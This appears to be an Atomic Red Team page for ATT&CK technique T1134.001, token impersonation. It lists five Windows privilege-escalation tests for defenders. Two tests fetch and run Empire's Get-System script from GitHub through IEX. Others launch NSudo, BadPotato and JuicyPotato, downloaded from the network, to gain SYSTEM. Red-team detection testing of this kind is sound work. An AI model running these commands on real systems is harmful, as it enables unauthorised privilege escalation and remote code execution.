T1134.001 - Access Token Manipulation: Token Impersonation/Theft

Description from ATT&CK

Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.

Atomic Tests


Atomic Test #1 - Named pipe client impersonation

Uses PowerShell and Empire’s GetSystem module. The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context. When executed successfully, the test displays the domain and name of the account it’s impersonating (local SYSTEM).

Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

Supported Platforms: Windows

auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966

Attack Commands: Run with 
1

powershell
! Elevation Required (e.g. root or admin)

1
2

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose



Atomic Test #2 - 
1

SeDebugPrivilege
token duplication

Uses PowerShell and Empire’s GetSystem module. The script uses 

1

SeDebugPrivilege
to obtain, duplicate and impersonate the token of a another process. When executed successfully, the test displays the domain and name of the account it’s impersonating (local SYSTEM).

Supported Platforms: Windows

auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0

Attack Commands: Run with 
1

powershell
! Elevation Required (e.g. root or admin)

1
2

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose



Atomic Test #3 - Launch NSudo Executable

Launches the NSudo executable for a short period of time and then exits. NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.

Supported Platforms: Windows

auto_generated_guid: 7be1bc0f-d8e5-4345-9333-f5f67d742cb9

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | nsudo_path | Path to the NSudoLG.exe file | path | PathToAtomicsFolder\T1134.001\bin\NSudoLG.exe|

Attack Commands: Run with 
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powershell
!

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Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"
Start-Sleep -Second 5
Stop-Process -Name "cmd" -force -erroraction silentlycontinue

Dependencies: Run with 
1

powershell
!

Description: NSudoLG.exe must exist in the specified path #{nsudo_path}
Check Prereq Commands:
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if (Test-Path "#{nsudo_path}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" "https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip"
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" "#{nsudo_path}"
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -Recurse -ErrorAction Ignore
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Recurse -ErrorAction Ignore



Atomic Test #4 - Bad Potato

https://github.com/BeichenDream/BadPotato Privilege escalation using named pipe connections

Supported Platforms: Windows

auto_generated_guid: 9c6d799b-c111-4749-a42f-ec2f8cb51448

Attack Commands: Run with 
1

powershell
! Elevation Required (e.g. root or admin)

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cd "PathToAtomicsFolder\..\ExternalPayloads"
Start-Process .\BadPotato.exe notepad.exe
Start-Sleep -Second 20
Stop-Process -Name "notepad" -force -erroraction silentlycontinue
Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue

Cleanup Commands:

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taskkill /f /im notepad.exe

Dependencies: Run with 
1

powershell
!

Description: BadPotato.exe must exist in the temp directory
Check Prereq Commands:
1

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe" "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true"



Atomic Test #5 - Juicy Potato

This Atomic utilizes Juicy Potato to obtain privilege escalation. Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions. This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. Reference

Supported Platforms: Windows

auto_generated_guid: f095e373-b936-4eb4-8d22-f47ccbfbe64a

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | potato_path | Path to the JuicyPotato.exe file | path | PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe| | listening_port | COM server listen port | integer | 7777| | target_exe | Target executable to launch with system privileges | path | $env:windir\system32\notepad.exe| | target_CLSID | Vulnerable CLSID to impersonate privileges | string | {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}|

Attack Commands: Run with 
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powershell
! Elevation Required (e.g. root or admin)

1

cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'

Cleanup Commands:

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get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null
get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null

Dependencies: Run with 
1

powershell
!

Description: JuicyPotato.exe must exist on disk
Check Prereq Commands:
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if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe") {exit 0} else {exit 1}
Get Prereq Commands:
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2

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe" "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe"